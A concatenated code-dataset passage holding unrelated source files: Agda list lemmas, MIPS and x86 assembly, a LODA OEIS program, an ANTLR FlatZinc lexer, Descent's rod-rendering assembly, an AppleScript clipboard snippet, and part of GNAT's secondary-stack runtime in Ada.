lemma decP v {x} {y} eq p with decP x
lemma decP v () p | yes _
lemma decP v eq p | no ¬p = ¬p p
-- first is functionally defined as the element matched by 'any'
First : ∀ {a b} {A : Set a} {P : A → Set b} (decP : ∀ a → (Dec $ P a)) → List A → Set (a ⊔ b)
First f v = ∃ λ m → any f v ≡ yes m
private
There : ∀ {a b} {A : Set a} {P : A → Set b} {f v} → (f : First {P = P} f v) → Set
There (here px , _) = ⊥
There (there _ , _) = ⊤
head-first : ∀ {a b} {A : Set a} {P : A → Set b} {f v} → First {P = P} f v → A
head-first (here {x} _ , _) = x
head-first (there {x} _ , _) = x
-- we can recover the negative evidence even though Any does not "save it" for there-instances
there⟶¬x' : ∀ {a b} {A : Set a} {P : A → Set b} {decP v} →
(f : First {P = P} decP v) → {x : There f} → ¬ P (head-first f)
there⟶¬x' (here px , proj₂) {x = ()}
there⟶¬x' {P = P} {decP = decP} (there {x = x'} {xs = xs} tail , proj₂) px with lemma decP xs
there⟶¬x' {P = P} {decP = decP} (there {x = x'} {xs = xs} tail , proj₂) px | ¬px = ¬px proj₂ px
|
src/unison/test/fast/Mips/speed/gcc.xexit.xexit.asm | Patstrom/disUnison | 88 | 160893 | <reponame>Patstrom/disUnison<filename>src/unison/test/fast/Mips/speed/gcc.xexit.xexit.asm
.text
.abicalls
.section .mdebug.abi32,"",@progbits
.nan legacy
.file "gcc.xexit.xexit.ll"
.text
.globl xexit
.align 2
.type xexit,@function
.set nomicromips
.set nomips16
.ent xexit
xexit: # @xexit
.frame $sp,32,$ra
.mask 0x80030000,-4
.fmask 0x00000000,0
.set noreorder
.set nomacro
.set noat
# BB#0:
lui $2, %hi(_gp_disp)
addiu $2, $2, %lo(_gp_disp)
addiu $sp, $sp, -32
sw $ra, 28($sp) # 4-byte Folded Spill
sw $17, 24($sp) # 4-byte Folded Spill
sw $16, 20($sp) # 4-byte Folded Spill
addu $16, $2, $25
lw $1, %got(_xexit_cleanup)($16)
lw $25, 0($1)
beqz $25, $BB0_3
move $17, $4
# BB#1:
b $BB0_2
nop
$BB0_2:
jalr $25
nop
$BB0_3:
lw $25, %call16(exit)($16)
move $4, $17
jalr $25
move $gp, $16
.set at
.set macro
.set reorder
.end xexit
$func_end0:
.size xexit, ($func_end0)-xexit
.ident "clang version 3.8.0 (http://llvm.org/git/clang.git 2d49f0a0ae8366964a93e3b7b26e29679bee7160) (http://llvm.org/git/llvm.git 60bc66b44837125843b58ed3e0fd2e6bb948d839)"
.section ".note.GNU-stack","",@progbits
.text
|
programs/oeis/259/A259280.asm | karttu/loda | 0 | 174005 | ; A259280: a(n) is the minimal sum of a positive integer sequence of length n with no duplicate substrings of length greater than 1.
; 1,2,4,5,7,9,11,14,16,19,21,24,27,30,33,36,40,43,47,50,54,57,61,65,69,73,77,81,85,90,94,99,103,108,112,117,121,126,131,136,141,146,151,156,161,166,172,177,183,188,194,199,205,210,216,221,227,233,239,245,251,257,263,269,275,281,287,294,300,307,313,320,326,333,339,346,352,359,365,372,379,386,393,400,407,414,421,428,435,442,449,456,464,471,479,486,494,501,509,516,524,531,539,546,554,561,569,577,585,593,601,609,617,625,633,641,649,657,665,673,681,690,698,707,715,724,732,741,749,758,766,775,783,792,800,809,817,826,835,844,853,862,871,880,889,898,907,916,925,934,943,952,961,970,980,989,999,1008,1018,1027,1037,1046,1056,1065,1075,1084,1094,1103,1113,1122,1132,1141,1151,1161,1171,1181,1191,1201,1211,1221,1231,1241,1251,1261,1271,1281,1291,1301,1311,1321,1331,1342,1352,1363,1373,1384,1394,1405,1415,1426,1436,1447,1457,1468,1478,1489,1499,1510,1520,1531,1541,1552,1563,1574,1585,1596,1607,1618,1629,1640,1651,1662,1673,1684,1695,1706,1717,1728,1739,1750,1761,1772,1784,1795,1807,1818,1830,1841,1853,1864,1876,1887,1899,1910,1922,1933,1945,1956,1968,1979
mov $2,$0
mov $4,$0
lpb $0,1
sub $2,1
mov $0,$2
mov $1,$2
lpb $1,1
trn $1,2
add $0,$1
add $3,1
trn $1,$3
lpe
lpb $0,1
trn $0,2
add $1,1
lpe
lpe
lpb $4,1
add $1,1
sub $4,1
lpe
add $1,1
|
Assembly Language/x86 Basic/Lesson_01/Ex001/main.asm | Jasonchan35/SimpleTalkCpp_Tutorial | 44 | 24182 | <reponame>Jasonchan35/SimpleTalkCpp_Tutorial<filename>Assembly Language/x86 Basic/Lesson_01/Ex001/main.asm
.386
.model flat, stdcall
.data
.code
mainCRTStartup PROC
mov ecx, 0
; xor ecx, ecx
my_label:
inc ecx
cmp ecx, 3
jl my_label
mov eax, 100
mainCRTStartup ENDP
END |
parsers/src/main/antlr4/org/chocosolver/parser/flatzinc/Flatzinc4Lexer.g4 | ds201891/choco-solver | 1 | 4424 | lexer grammar Flatzinc4Lexer;
@lexer::header {
}
/*********************************************
* KEYWORDS
**********************************************/
BOOL:'bool';
TRUE:'true';
FALSE:'false';
INT:'int';
FLOAT:'float';
SET :'set';
OF :'of';
ARRAY :'array';
VAR :'var';
PAR :'par';
PREDICATE :'predicate';
CONSTRAINT : 'constraint';
SOLVE :'solve';
SATISFY :'satisfy';
MINIMIZE :'minimize';
MAXIMIZE :'maximize';
DD:'..';
DO:'.';
LB:'{';
RB:'}';
CM:',';
LS:'[';
RS :']';
EQ:'=';
PL:'+';
MN:'-';
SC:';';
CL:':';
DC:'::';
LP:'(';
RP:')';
/*********************************************
* GENERAL
**********************************************/
IDENTIFIER
: ('a'..'z'|'A'..'Z'|'_') ('a'..'z'|'A'..'Z'|'0'..'9'|'_')*
;
COMMENT
: '%' ~('\n'|'\r')* '\r'? '\n' -> skip
;
WS : ( ' '
| '\t'
| '\r'
| '\n'
) -> skip
;
/*********************************************
* TYPES
**********************************************/
INT_CONST
: ('+'|'-')? ('0'..'9')+
;
//FLOAT_
// : ('0'..'9')+ '.' ('0'..'9')* EXPONENT?
// | '.' ('0'..'9')+ EXPONENT?
// | ('0'..'9')+ EXPONENT
// ;
STRING
: '"' ( ESC_SEQ | ~('\\'|'"') )* '"'
;
CHAR: '\'' ( ESC_SEQ | ~('\''|'\\') ) '\''
;
/*********************************************
* FRAGMENTS
**********************************************/
fragment
EXPONENT : ('e'|'E') ('+'|'-')? ('0'..'9')+ ;
fragment
ESC_SEQ
: '\\' ('b'|'t'|'n'|'f'|'r'|'\"'|'\''|'\\')
| UNICODE_ESC
| OCTAL_ESC
;
fragment
OCTAL_ESC
: '\\' ('0'..'3') ('0'..'7') ('0'..'7')
| '\\' ('0'..'7') ('0'..'7')
| '\\' ('0'..'7')
;
fragment
HEX_DIGIT : ('0'..'9'|'a'..'f'|'A'..'F') ;
fragment
UNICODE_ESC
: '\\' 'u' HEX_DIGIT HEX_DIGIT HEX_DIGIT HEX_DIGIT
; |
3d/rod.asm | osgcc/descent-pc | 3 | 169472 | <gh_stars>1-10
;THE COMPUTER CODE CONTAINED HEREIN IS THE SOLE PROPERTY OF PARALLAX
;SOFTWARE CORPORATION ("PARALLAX"). PARALLAX, IN DISTRIBUTING THE CODE TO
;END-USERS, AND SUBJECT TO ALL OF THE TERMS AND CONDITIONS HEREIN, GRANTS A
;ROYALTY-FREE, PERPETUAL LICENSE TO SUCH END-USERS FOR USE BY SUCH END-USERS
;IN USING, DISPLAYING, AND CREATING DERIVATIVE WORKS THEREOF, SO LONG AS
;SUCH USE, DISPLAY OR CREATION IS FOR NON-COMMERCIAL, ROYALTY OR REVENUE
;FREE PURPOSES. IN NO EVENT SHALL THE END-USER USE THE COMPUTER CODE
;CONTAINED HEREIN FOR REVENUE-BEARING PURPOSES. THE END-USER UNDERSTANDS
;AND AGREES TO THE TERMS HEREIN AND ACCEPTS THE SAME BY USE OF THIS FILE.
;COPYRIGHT 1993-1998 PARALLAX SOFTWARE CORPORATION. ALL RIGHTS RESERVED.
;
; $Source: f:/miner/source/3d/rcs/rod.asm $
; $Revision: 1.22 $
; $Author: matt $
; $Date: 1995/02/09 22:00:51 $
;
; Code to draw rods (facing bitmaps).
;
; $Log: rod.asm $
; Revision 1.22 1995/02/09 22:00:51 matt
; Removed dependence on divide overflow handler; we now check for overflow
; before dividing. This fixed problems on some TI chips.
;
; Revision 1.21 1994/11/27 12:55:14 matt
; Tooks out some unused code
;
; Revision 1.20 1994/09/01 15:34:49 matt
; Fixed stack mess-up when rod projection overflows
;
; Revision 1.19 1994/09/01 10:41:46 matt
; Blob routine, renamed g3_draw_bitmap(), now takes seperate 3d width & height.
;
; Revision 1.18 1994/08/01 17:23:27 matt
; Check for overflow after project in blob code
;
; Revision 1.17 1994/07/25 15:47:13 matt
; Cleaned up code, and made long-broken flat-shaded rods work.
;
; Revision 1.16 1994/07/25 00:00:05 matt
; Made 3d no longer deal with point numbers, but only with pointers.
;
; Revision 1.15 1994/07/22 17:58:01 matt
; Changed the name of the rod functions, and took out some debugging code
;
; Revision 1.14 1994/07/21 12:49:41 mike
; Create _blob_vertices so powerups can be outlined when selected in editor.
;
; Revision 1.13 1994/06/16 09:07:29 matt
; Move in UV values for rods to prevent the texture mapper from reading
; past the edges of the bitmaps.
;
; Revision 1.12 1994/05/31 18:35:29 matt
; Added light value to g3_draw_facing_bitmap()
;
; Revision 1.11 1994/05/19 23:11:54 matt
; Support new uvl value ranges
;
; Revision 1.10 1994/05/13 10:18:07 matt
; Fixed bug introduced last time
;
; Revision 1.9 1994/05/11 10:10:35 matt
; Changed a little code in attempt to avoid overflows
;
; Revision 1.8 1994/05/07 16:43:26 matt
; Made rods work right, maybe.
;
; Revision 1.7 1994/03/23 10:25:04 matt
; Fixed stack messup with blob overflow, and removed debug_brk
;
; Revision 1.6 1994/03/15 21:22:11 matt
; Put in check for div overflow in blob code
;
; Revision 1.5 1994/02/21 11:04:15 matt
; Added check for zero-length vector
;
; Revision 1.4 1994/02/15 17:37:23 matt
; New function, g3_draw_blob()
;
; Revision 1.3 1994/02/11 20:15:04 matt
; Fixed matrix scale problem, removed unneeded debug_brk
;
; Revision 1.2 1994/02/09 11:49:32 matt
; Added code for texture-mapped and flat-shaded rods
;
; Revision 1.1 1994/02/02 11:27:21 matt
; Initial revision
;
;
ALWAYS_USE_SCALER = 0 ;if true, use scaler even when banked
.386
option oldstructs
.nolist
include types.inc
include psmacros.inc
include gr.inc
include 3d.inc
.list
assume cs:_TEXT, ds:_DATA
public _blob_vertices
_DATA segment dword public USE32 'DATA'
rcsid db "$Id: rod.asm 1.22 1995/02/09 22:00:51 matt Exp $"
align 4
bot_width fix ?
top_width fix ?
rod_points db 4*size g3s_point dup (?)
delta_x fix ?
delta_y fix ?
edge_vec_x fix ?
edge_vec_y fix ?
vertbuf fix 4 dup (?,?)
_blob_vertices fix 4 dup (?,?)
bitmap_ptr dd ?
delta_vec vms_vector <>
rod_norm vms_vector <>
temp_vec vms_vector <>
top_pnt dd ?
bot_pnt dd ?
rod_point_list dd rod_points
dd rod_points+(size g3s_point)
dd rod_points+(size g3s_point)*2
dd rod_points+(size g3s_point)*3
;values here are set to be half a pixel in from the edges so the texture
;mapper doesn't read past the bitmap
uvl_list fix 200h,200h,0
fix 0fe00h,200h,0
fix 0fe00h,0fe00h,0
fix 200h,0fe00h,0
;;uvl_list fix 0,0,0
;; fix 10000h,0,0
;; fix 10000h,10000h,0
;; fix 0,10000h,0
_DATA ends
_TEXT segment dword public USE32 'CODE'
extn scale_bitmap_
;draws a polygon that's always facing the viewer
;takes esi,edi=bottom & top points (g3s_point *), eax,edx=3d width at bottom,top
g3_draw_rod_flat: pushm eax,ebx,ecx,edx,esi,edi
call calc_rod_corners
or cl,cl ;check codes
jnz no_draw
mov ecx,4 ;4 corners
lea esi,rod_point_list
call g3_draw_poly
popm eax,ebx,ecx,edx,esi,edi
ret
;draws bitmap that's always facing the viewer
;takes esi,edi=bottom & top points (g3s_point *), eax,edx=3d width at bottom,top
;ebx = bitmap
;points must be rotated
g3_draw_rod_tmap:
pushm eax,ebx,ecx,edx,esi,edi
mov bitmap_ptr,ebx
;save lighting values
mov uvl_list+8,ecx
mov uvl_list+20,ecx
mov uvl_list+32,ecx
mov uvl_list+44,ecx
call calc_rod_corners
or cl,cl ;check codes
jnz no_draw
mov ecx,4
lea esi,rod_point_list
lea ebx,uvl_list
mov edx,bitmap_ptr
call g3_draw_tmap
jmp no_draw
;;@@;can use use scaler?
;;@@if not ALWAYS_USE_SCALER
;;@@ mov eax,vertbuf+4 ;point 0 y
;;@@ cmp eax,vertbuf+12 ;point 1 y
;;@@ jne must_roll
;;@@;use the scaler!
;;@@endif
;;@@ mov eax,bitmap_ptr
;;@@ lea edx,vertbuf
;;@@ call scale_bitmap_
;;@@ jmp no_draw
;;@@
;;@@;can't call the scaler
;;@@must_roll: mov eax,bitmap_ptr
;;@@ lea edx,vertbuf
;;@@ mov ebx,15 ;light value
;;@@ call rotate_bitmap_
no_draw:
popm eax,ebx,ecx,edx,esi,edi
ret
;draws a bitmap with the specified 3d width & height
;takes esi=position, ebx=width, ecx=height, eax=bitmap
;modifies eax,esi,ecx
g3_draw_bitmap: pushm edx,edi
mov bitmap_ptr,eax ;save bitmap
push ebx ;save width
lea edi,rod_points ;get dest point
call g3_rotate_point
or bl,bl ;off screen?
pop ebx ;restore width
js blob_off_screen
;we should check if off screen based on rad
mov esi,edi
call g3_project_point
test [esi].p3_flags,PF_OVERFLOW
jnz blob_off_screen
;get 2d width & height
mov eax,ebx ;get width
imul Canv_w2
blob_div0: divcheck [esi].z,blob_overflow_handler
idiv [esi].z ;width3d*canv_w/z
fixmul Matrix_scale.x ;*scale
mov edi,eax ;save width
mov eax,ecx ;get height
imul Canv_h2
blob_div1: divcheck [esi].z,blob_overflow_handler
idiv [esi].z ;height3d*canv_h/z
fixmul Matrix_scale.y ;*scale
mov ecx,eax ;save height
;copy 2d points into buffer
lea edx,_blob_vertices
mov eax,[esi].p3_sx
sub eax,edi ;- width
mov [edx],eax ;p0.x
lea eax,[eax+edi*2] ;+ 2*width
mov 8[edx],eax ;p1.x
mov 16[edx],eax ;p2.x
mov eax,[esi].p3_sy
sub eax,ecx ;- height
mov 4[edx],eax ;p0.y
mov 12[edx],eax ;p1.y
lea eax,[eax+ecx*2] ;+ 2*height
mov 20[edx],eax ;p2.y
;now draw
mov eax,bitmap_ptr ;get bitmap ptr
call scale_bitmap_ ;vertbuf in edx
blob_off_screen: popm edx,edi
ret
blob_overflow_handler:
;debug_brk "blob overflow - get Matt"
jmp blob_off_screen
;compute the corners of a rod. fills in vertbuf. ret codes in al.
;points in esi,edi, widths in eax,edx
;trashes piles of registers
calc_rod_corners:
mov bot_width,eax
mov top_width,edx
mov bot_pnt,esi
mov top_pnt,edi
;compute vector from one point to other, do cross product with vector
;from eye to get perpendiclar
lea eax,delta_vec
call vm_vec_sub
;unscale for aspect
mov eax,delta_vec.x
fixdiv matrix_scale.x
mov delta_vec.x,eax
mov eax,delta_vec.y
fixdiv matrix_scale.y
mov delta_vec.y,eax
;calc perp vector
;do lots of normalizing to prevent overflowing. When this code works,
;it should be optimized
lea esi,delta_vec
call vm_vec_normalize
vm_copy temp_vec,edi
mov edi,esi
lea esi,temp_vec
call vm_vec_normalize
xchg esi,edi
lea eax,rod_norm
call vm_vec_crossprod
mov esi,eax
call vm_vec_normalize
;scale for aspect
mov eax,rod_norm.x
fixmul matrix_scale.x
mov rod_norm.x,eax
mov eax,rod_norm.y
fixmul matrix_scale.y
mov rod_norm.y,eax
;now we have the usable edge. generate four points
mov cl,0ffh ;codes and
push ebp
lea ebp,rod_points
;top points
lea edi,temp_vec
lea ebx,rod_norm
mov ecx,top_width
call vm_vec_copy_scale
mov temp_vec.z,0
mov eax,ebp
mov esi,top_pnt ;temp vec in edi
call vm_vec_add
add eax,size g3s_point
call vm_vec_sub
lea ebp,size g3s_point[eax]
;bot points
lea edi,temp_vec
lea ebx,rod_norm
mov ecx,bot_width
call vm_vec_copy_scale
mov temp_vec.z,0
mov eax,ebp
mov esi,bot_pnt ;temp vec in edi
call vm_vec_sub
add eax,size g3s_point
call vm_vec_add
pop ebp
;now code the four points
mov cl,0ffh ;codes and
lea eax,rod_points
call code_point
and cl,bl
add eax,size g3s_point
call code_point
and cl,bl
add eax,size g3s_point
call code_point
and cl,bl
add eax,size g3s_point
call code_point
and cl,bl
jnz new_new_off_screen
push ecx ;save codes
;clear flags for new points (not projected)
lea esi,rod_points
mov [esi].p3_flags,0
mov [esi+size g3s_point].p3_flags,0
mov [esi+(size g3s_point)*2].p3_flags,0
mov [esi+(size g3s_point)*3].p3_flags,0
pop ecx ;restore codes
ret
new_new_off_screen:
ret
_TEXT ends
end
|
Snippets/process clipboard text.applescript | rogues-gallery/applescript | 360 | 4669 |
do shell script "pbpaste | sed -e 's/ /-/g' | awk '{print tolower($0)
}' | pbcopy"
|
Validation/pyFrame3DD-master/gcc-master/gcc/ada/libgnat/s-secsta.adb | djamal2727/Main-Bearing-Analytical-Model | 0 | 23754 | ------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- S Y S T E M . S E C O N D A R Y _ S T A C K --
-- --
-- B o d y --
-- --
-- Copyright (C) 1992-2020, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
pragma Compiler_Unit_Warning;
with Ada.Unchecked_Conversion;
with Ada.Unchecked_Deallocation;
with System; use System;
with System.Parameters; use System.Parameters;
with System.Soft_Links; use System.Soft_Links;
with System.Storage_Elements; use System.Storage_Elements;
package body System.Secondary_Stack is
------------------------------------
-- Binder Allocated Stack Support --
------------------------------------
-- When at least one of the following restrictions
--
-- No_Implicit_Heap_Allocations
-- No_Implicit_Task_Allocations
--
-- is in effect, the binder creates a static secondary stack pool, where
-- each stack has a default size. Assignment of these stacks to tasks is
-- performed by SS_Init. The following variables are defined in this unit
-- in order to avoid depending on the binder. Their values are set by the
-- binder.
Binder_SS_Count : Natural;
pragma Export (Ada, Binder_SS_Count, "__gnat_binder_ss_count");
-- The number of secondary stacks in the pool created by the binder
Binder_Default_SS_Size : Size_Type;
pragma Export (Ada, Binder_Default_SS_Size, "__gnat_default_ss_size");
-- The default secondary stack size as specified by the binder. The value
-- is defined here rather than in init.c or System.Init because the ZFP and
-- Ravenscar-ZFP run-times lack these locations.
Binder_Default_SS_Pool : Address;
pragma Export (Ada, Binder_Default_SS_Pool, "__gnat_default_ss_pool");
-- The address of the secondary stack pool created by the binder
Binder_Default_SS_Pool_Index : Natural := 0;
-- Index into the secondary stack pool created by the binder
-----------------------
-- Local subprograms --
-----------------------
procedure Allocate_Dynamic
(Stack : SS_Stack_Ptr;
Mem_Size : Memory_Size;
Addr : out Address);
pragma Inline (Allocate_Dynamic);
-- Allocate enough space on dynamic secondary stack Stack to fit a request
-- of size Mem_Size. Addr denotes the address of the first byte of the
-- allocation.
procedure Allocate_On_Chunk
(Stack : SS_Stack_Ptr;
Prev_Chunk : SS_Chunk_Ptr;
Chunk : SS_Chunk_Ptr;
Byte : Memory_Index;
Mem_Size : Memory_Size;
Addr : out Address);
pragma Inline (Allocate_On_Chunk);
-- Allocate enough space on chunk Chunk to fit a request of size Mem_Size.
-- Stack is the owner of the allocation Chunk. Prev_Chunk is the preceding
-- chunk of Chunk. Byte indicates the first free byte within Chunk. Addr
-- denotes the address of the first byte of the allocation. This routine
-- updates the state of Stack.all to reflect the side effects of the
-- allocation.
procedure Allocate_Static
(Stack : SS_Stack_Ptr;
Mem_Size : Memory_Size;
Addr : out Address);
pragma Inline (Allocate_Static);
-- Allocate enough space on static secondary stack Stack to fit a request
-- of size Mem_Size. Addr denotes the address of the first byte of the
-- allocation.
procedure Free is new Ada.Unchecked_Deallocation (SS_Chunk, SS_Chunk_Ptr);
-- Free a dynamically allocated chunk
procedure Free is new Ada.Unchecked_Deallocation (SS_Stack, SS_Stack_Ptr);
-- Free a dynamically allocated secondary stack
function Has_Enough_Free_Memory
(Chunk : SS_Chunk_Ptr;
Byte : Memory_Index;
Mem_Size : Memory_Size) return Boolean;
pragma Inline (Has_Enough_Free_Memory);
-- Determine whether chunk Chunk has enough room to fit a memory request of
-- size Mem_Size, starting from the first free byte of the chunk denoted by
-- Byte.
function Number_Of_Chunks (Stack : SS_Stack_Ptr) return Chunk_Count;
pragma Inline (Number_Of_Chunks);
-- Count the number of static and dynamic chunks of secondary stack Stack
function Size_Up_To_And_Including (Chunk : SS_Chunk_Ptr) return Memory_Size;
pragma Inline (Size_Up_To_And_Including);
-- Calculate the size of secondary stack which houses chunk Chunk, from the
-- start of the secondary stack up to and including Chunk itself. The size
-- includes the following kinds of memory:
--
-- * Free memory in used chunks due to alignment holes
-- * Occupied memory by allocations
--
-- This is a constant time operation, regardless of the secondary stack's
-- nature.
function Top_Chunk_Id (Stack : SS_Stack_Ptr) return Chunk_Id_With_Invalid;
pragma Inline (Top_Chunk_Id);
-- Obtain the Chunk_Id of the chunk indicated by secondary stack Stack's
-- pointer.
function Used_Memory_Size (Stack : SS_Stack_Ptr) return Memory_Size;
pragma Inline (Used_Memory_Size);
-- Calculate the size of stack Stack's occupied memory usage. This includes
-- the following kinds of memory:
--
-- * Free memory in used chunks due to alignment holes
-- * Occupied memory by allocations
--
-- This is a constant time operation, regardless of the secondary stack's
-- nature.
----------------------
-- Allocate_Dynamic --
----------------------
procedure Allocate_Dynamic
(Stack : SS_Stack_Ptr;
Mem_Size : Memory_Size;
Addr : out Address)
is
function Allocate_New_Chunk return SS_Chunk_Ptr;
pragma Inline (Allocate_New_Chunk);
-- Create a new chunk which is big enough to fit a request of size
-- Mem_Size.
------------------------
-- Allocate_New_Chunk --
------------------------
function Allocate_New_Chunk return SS_Chunk_Ptr is
Chunk_Size : Memory_Size;
begin
-- The size of the new chunk must fit the memory request precisely.
-- In the case where the memory request is way too small, use the
-- default chunk size. This avoids creating multiple tiny chunks.
Chunk_Size := Mem_Size;
if Chunk_Size < Stack.Default_Chunk_Size then
Chunk_Size := Stack.Default_Chunk_Size;
end if;
return new SS_Chunk (Chunk_Size);
-- The creation of the new chunk may exhaust the heap. Raise a new
-- Storage_Error to indicate that the secondary stack is exhausted
-- as well.
exception
when Storage_Error =>
raise Storage_Error with "secondary stack exhausted";
end Allocate_New_Chunk;
-- Local variables
Next_Chunk : SS_Chunk_Ptr;
-- Start of processing for Allocate_Dynamic
begin
-- Determine whether the chunk indicated by the stack pointer is big
-- enough to fit the memory request and if it is, allocate on it.
if Has_Enough_Free_Memory
(Chunk => Stack.Top.Chunk,
Byte => Stack.Top.Byte,
Mem_Size => Mem_Size)
then
Allocate_On_Chunk
(Stack => Stack,
Prev_Chunk => null,
Chunk => Stack.Top.Chunk,
Byte => Stack.Top.Byte,
Mem_Size => Mem_Size,
Addr => Addr);
return;
end if;
-- At this point it is known that the chunk indicated by the stack
-- pointer is not big enough to fit the memory request. Examine all
-- subsequent chunks, and apply the following criteria:
--
-- * If the current chunk is too small, free it
--
-- * If the current chunk is big enough, allocate on it
--
-- This ensures that no space is wasted. The process is costly, however
-- allocation is costly in general. Paying the price here keeps routines
-- SS_Mark and SS_Release cheap.
while Stack.Top.Chunk.Next /= null loop
-- The current chunk is big enough to fit the memory request,
-- allocate on it.
if Has_Enough_Free_Memory
(Chunk => Stack.Top.Chunk.Next,
Byte => Stack.Top.Chunk.Next.Memory'First,
Mem_Size => Mem_Size)
then
Allocate_On_Chunk
(Stack => Stack,
Prev_Chunk => Stack.Top.Chunk,
Chunk => Stack.Top.Chunk.Next,
Byte => Stack.Top.Chunk.Next.Memory'First,
Mem_Size => Mem_Size,
Addr => Addr);
return;
-- Otherwise the chunk is too small, free it
else
Next_Chunk := Stack.Top.Chunk.Next.Next;
-- Unchain the chunk from the stack. This keeps the next candidate
-- chunk situated immediately after Top.Chunk.
--
-- Top.Chunk Top.Chunk.Next Top.Chunk.Next.Next
-- | | (Next_Chunk)
-- v v v
-- +-------+ +------------+ +--------------+
-- | | --> | | --> | |
-- +-------+ +------------+ +--------------+
-- to be freed
Free (Stack.Top.Chunk.Next);
Stack.Top.Chunk.Next := Next_Chunk;
end if;
end loop;
-- At this point one of the following outcomes took place:
--
-- * Top.Chunk is the last chunk in the stack
--
-- * Top.Chunk was not the last chunk originally. It was followed by
-- chunks which were too small and as a result were deleted, thus
-- making Top.Chunk the last chunk in the stack.
--
-- Either way, nothing should be hanging off the chunk indicated by the
-- stack pointer.
pragma Assert (Stack.Top.Chunk.Next = null);
-- Create a new chunk big enough to fit the memory request, and allocate
-- on it.
Stack.Top.Chunk.Next := Allocate_New_Chunk;
Allocate_On_Chunk
(Stack => Stack,
Prev_Chunk => Stack.Top.Chunk,
Chunk => Stack.Top.Chunk.Next,
Byte => Stack.Top.Chunk.Next.Memory'First,
Mem_Size => Mem_Size,
Addr => Addr);
end Allocate_Dynamic;
-----------------------
-- Allocate_On_Chunk --
-----------------------
procedure Allocate_On_Chunk
(Stack : SS_Stack_Ptr;
Prev_Chunk : SS_Chunk_Ptr;
Chunk : SS_Chunk_Ptr;
Byte : Memory_Index;
Mem_Size : Memory_Size;
Addr : out Address)
is
New_High_Water_Mark : Memory_Size;
begin
-- The allocation occurs on a reused or a brand new chunk. Such a chunk
-- must always be connected to some previous chunk.
if Prev_Chunk /= null then
pragma Assert (Prev_Chunk.Next = Chunk);
-- Update the Size_Up_To_Chunk because this value is invalidated for
-- reused and new chunks.
--
-- Prev_Chunk Chunk
-- v v
-- . . . . . . . +--------------+ +--------
-- . --> |##############| --> |
-- . . . . . . . +--------------+ +--------
-- | |
-- -------------------+------------+
-- Size_Up_To_Chunk Size
--
-- The Size_Up_To_Chunk is equal to the size of the whole stack up to
-- the previous chunk, plus the size of the previous chunk itself.
Chunk.Size_Up_To_Chunk := Size_Up_To_And_Including (Prev_Chunk);
end if;
-- The chunk must have enough room to fit the memory request. If this is
-- not the case, then a previous step picked the wrong chunk.
pragma Assert (Has_Enough_Free_Memory (Chunk, Byte, Mem_Size));
-- The first byte of the allocation is the first free byte within the
-- chunk.
Addr := Chunk.Memory (Byte)'Address;
-- The chunk becomes the chunk indicated by the stack pointer. This is
-- either the currently indicated chunk, an existing chunk, or a brand
-- new chunk.
Stack.Top.Chunk := Chunk;
-- The next free byte is immediately after the memory request
--
-- Addr Top.Byte
-- | |
-- +-----|--------|----+
-- |##############| |
-- +-------------------+
-- ??? this calculation may overflow on 32bit targets
Stack.Top.Byte := Byte + Mem_Size;
-- At this point the next free byte cannot go beyond the memory capacity
-- of the chunk indicated by the stack pointer, except when the chunk is
-- full, in which case it indicates the byte beyond the chunk. Ensure
-- that the occupied memory is at most as much as the capacity of the
-- chunk. Top.Byte - 1 denotes the last occupied byte.
pragma Assert (Stack.Top.Byte - 1 <= Stack.Top.Chunk.Size);
-- Calculate the new high water mark now that the memory request has
-- been fulfilled, and update if necessary. The new high water mark is
-- technically the size of the used memory by the whole stack.
New_High_Water_Mark := Used_Memory_Size (Stack);
if New_High_Water_Mark > Stack.High_Water_Mark then
Stack.High_Water_Mark := New_High_Water_Mark;
end if;
end Allocate_On_Chunk;
---------------------
-- Allocate_Static --
---------------------
procedure Allocate_Static
(Stack : SS_Stack_Ptr;
Mem_Size : Memory_Size;
Addr : out Address)
is
begin
-- Static secondary stack allocations are performed only on the static
-- chunk. There should be no dynamic chunks following the static chunk.
pragma Assert (Stack.Top.Chunk = Stack.Static_Chunk'Access);
pragma Assert (Stack.Top.Chunk.Next = null);
-- Raise Storage_Error if the static chunk does not have enough room to
-- fit the memory request. This indicates that the stack is about to be
-- depleted.
if not Has_Enough_Free_Memory
(Chunk => Stack.Top.Chunk,
Byte => Stack.Top.Byte,
Mem_Size => Mem_Size)
then
raise Storage_Error with "secondary stack exhaused";
end if;
Allocate_On_Chunk
(Stack => Stack,
Prev_Chunk => null,
Chunk => Stack.Top.Chunk,
Byte => Stack.Top.Byte,
Mem_Size => Mem_Size,
Addr => Addr);
end Allocate_Static;
--------------------
-- Get_Chunk_Info --
--------------------
function Get_Chunk_Info
(Stack : SS_Stack_Ptr;
C_Id : Chunk_Id) return Chunk_Info
is
function Find_Chunk return SS_Chunk_Ptr;
pragma Inline (Find_Chunk);
-- Find the chunk which corresponds to Id. Return null if no such chunk
-- exists.
----------------
-- Find_Chunk --
----------------
function Find_Chunk return SS_Chunk_Ptr is
Chunk : SS_Chunk_Ptr;
Id : Chunk_Id;
begin
Chunk := Stack.Static_Chunk'Access;
Id := 1;
while Chunk /= null loop
if Id = C_Id then
return Chunk;
end if;
Chunk := Chunk.Next;
Id := Id + 1;
end loop;
return null;
end Find_Chunk;
-- Local variables
Chunk : constant SS_Chunk_Ptr := Find_Chunk;
-- Start of processing for Get_Chunk_Info
begin
if Chunk = null then
return Invalid_Chunk;
else
return (Size => Chunk.Size,
Size_Up_To_Chunk => Chunk.Size_Up_To_Chunk);
end if;
end Get_Chunk_Info;
--------------------
-- Get_Stack_Info --
--------------------
function Get_Stack_Info (Stack : SS_Stack_Ptr) return Stack_Info is
Info : Stack_Info;
begin
